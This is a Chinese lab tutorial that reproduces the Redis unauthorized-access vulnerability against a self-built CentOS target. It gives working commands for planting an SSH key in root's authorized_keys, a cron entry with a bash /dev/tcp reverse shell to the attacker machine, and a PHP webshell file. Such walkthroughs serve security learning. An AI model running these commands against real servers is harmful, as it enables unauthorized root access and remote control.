一、漏洞简介

什么是redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

redis 是一个高性能的key-value数据库。redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

本次复现主要是:

1.Redis以root身份运行,给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

2.将文件写入周期性计划任务,然后接受反弹shell

3.如果搭建了web服务器,写入webshell,控制服务器(此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改)

准备环境:

攻击机(kali):192.168.163.131(需要自己搭建redis-cli,和服务器端搭建步骤一样)

靶机(centos):192.168.163.132

二、环境搭建

(1)下载redis压缩包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(2)将压缩包放入指定路径,并且进入指定路径

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gz
cd redis

(3)解压压缩包,进入指定路径redis-2.8.17,进行安装

tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make

(4)进入到src路径下

(5)将redis-server和redis-cli拷贝到/usr/bin目录下,后续方便直接启动redis服务器并且将redis-2.8.17目录下面的redis.conf拷贝到/etc下面

cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc/redis.conf

(6)启动服务

redis-server /etc/redis.conf

三、漏洞复现

3.1 利用“公私钥”认证获得root权限

(1)未授权访问连接(无法连接)

redis-cli -h 192.168.163.132

(2)因为是本地搭建,没有开启6379端口对外开放,此处为了方便,直接关闭服务器(靶机)的防火墙

/etc/init.d/iptables stop

(3)kali攻击机未授权访问连接

redis-cli -h 192.168.163.132
keys *

(4)在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

(5)进入.ssh目录,将生成的公钥保存到1.txt:

cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt

(6)将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

(7)并使用 CONFIG GET dir 命令得到redis备份的路径:

CONFIG GET dir

(8)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys

(9)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

CONFIG GET dbfilename
save

(10)查看服务器端已经成功写入

(11)攻击机成功登陆到服务器

ssh -i id_rsa root@192.168.163.132

3.2利用crontab反弹shell

权限足够的情况下,利用redis写入文件到周期性计划任务执行。

(1)在kali攻击机里面监听指定端口

nc -lvnp 8888

(2)向服务器写入文件

set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

3)查看服务器端的写入情况

(4)Kali攻击机已经可以连接了(得到了反弹shell)

3.3写入webshell

此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改,将文件写入web路径

(1)写入文件到/tmp目录

config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

(2)查看服务器

备注:

写入webshell的时候,可以使用:

set x "rnrn<?php phpinfo();?>rnrn"

rnrn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

原文链接

哪种修复redis未授权访问漏洞的方法是相对不安全的_redis漏洞复现相关推荐

  1. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  2. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  3. 尝试从redis未授权访问到getshell的四种姿势(失败)

    尝试从redis未授权访问到getshell的四种姿势(失败) 使用Goby扫描某SRC的C段,发现一个Redis未授权,经验证漏洞存在,故尝试Getshell提高危害(拿更多赏金) 虽然Getshe ...

  4. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  5. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

  6. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  7. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

  8. Redis未授权访问漏洞的利用及防护

    什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...

  9. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  10. redis未授权访问漏洞环境搭建复现-ssh免密登录

    首先,安装redis 我是直接sudo apt-get redis 安装的 然后启动redis 直接找到/usr/bin目录下的redis-server和redis-cli 测试连接成功 因为我是腾讯 ...

最新文章

  1. 【uva11994】Happy Painting!【LCT】
  2. Eclipse Class Decompiler——Java反编译插件(转)
  3. 《现代操作系统(原书第3版)》pdf
  4. 从“电商合伙人”到“品牌掌柜”,快手电商“军训”进行时
  5. 2021年3月15日_读书|总结笔记目录
  6. 递归列出文件下的文件信息,迭代器
  7. fedora16设置root登录
  8. 《Core Java 课件》Day02
  9. pm2.5测试软件,测pm2.5的软件准吗
  10. 测试面试题,自动化测试与性能测试篇(附答案)
  11. 简单python脚本实例-python常用运维脚本实例
  12. 关于nova-manage service list检测服务状态原理
  13. Win10升级惹的祸,Oracle服务全没有了,怎么解决?
  14. 大学计算机绘图实训报告,CAD制图实训心得体会范文4篇
  15. 中国出口印度尼西亚主要商品
  16. Oracle 11g SQL基础入门系列培训-小布作品
  17. accurately Buy Diesel watches how you can suitably
  18. 基于javaweb+mysql的高校学生会社团管理系统(前台、后台)
  19. Feature|微生物组学研究的机遇与挑战
  20. java中高级面试_Java中高级面试题及答案

热门文章

  1. hdu 1712 ACboy needs your help (DP)
  2. C# 寻找数组中的最大子数组
  3. C#3.0 new features: Lambda expression
  4. 发现这里才是我的地方
  5. ADOMDConnection连接字符串与AnalysisService服务器配置
  6. jvm 内存溢出 Java heap space 调优解决过程
  7. Java反射--实战篇
  8. 原子变量与非阻塞同步机制
  9. Ant十五大最佳实践
  10. 为企业选择最合适的SSL证书